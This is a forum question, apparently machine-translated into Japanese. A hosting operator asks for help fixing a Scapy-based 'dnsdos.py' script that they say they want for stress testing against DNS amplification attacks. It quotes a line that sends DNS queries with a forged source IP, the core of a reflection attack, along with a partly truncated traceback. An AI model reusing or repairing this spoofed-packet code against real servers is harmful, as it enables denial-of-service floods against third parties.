私は小規模なホスティング会社を運営しています。数か月以来、同様の企業がこれらの dns リフレクション/アンプリフィケーション サービス拒否攻撃に見舞われているようです。少なくとも今のところ、私たちは幸運にもこれらを避けることができました。しかし、備えておきたいと思ったので、Python スクリプト (Python を少し知っている) を見つけて、いくつかのサーバーのストレス テストを行いたいと考えました。
scapy、pypcap、およびその他すべての依存関係をインストールした後、エラー トレースバックが表示されます。
Traceback (most recent call last):
File "C:\Python25\lib\threading.py", line 486, in __bootstr
self.run()
File "dnsdos.py", line 230, in run
send(IP(dst=ns, src=self.target)/UDP()/DNS(rd=1,qd=DNSQR(
rbose=0)
File "C:\Python25\lib\site-packages\scapy\sendrecv.py", lin
__gen_send(conf.L3socket(*args, **kargs), x, inter=inter,
unt,verbose=verbose, realtime=realtime)
File "C:\Python25\lib\site-packages\scapy\sendrecv.py", lin
s.send(p)
File "C:\Python25\lib\site-packages\scapy\arch\pcapdnet.py"
ifs = dnet.eth(iff)
File "dnet.pyx", line 112, in dnet.eth.__init__
OSError: No error
問題のあるコード行は次のとおりです。
send(IP(dst=ns, src=self.target)/UDP()/DNS(rd=1,qd=DNSQR(qname=A_record)), verbose=0)
\lib\site-packages\scapy\sendrecv.py の 251 行目にエラーが発生します。
__gen_send(conf.L3socket(*args, **kargs), x, inter=inter, loop=loop, count=count,verbose=verbose, realtime=realtime)
そして234行目で
s.send(p)
および \lib\site-packages\scapy\arch\pcapdnet.py の 237 行目で、
ifs = dnet.eth(iff)
必要に応じて、これら 3 つのファイルのコード全体をペーストビンまたは別の場所にアップロードできます。何が問題なのか調べてみましたが、わかりません。私が思うのは、引数が間違って渡される可能性があるということです。私が行ったソケットコーディングだけがこれよりずっと簡単だったので、多くは言えません。
OS: Windows 7 x64
Python 2.5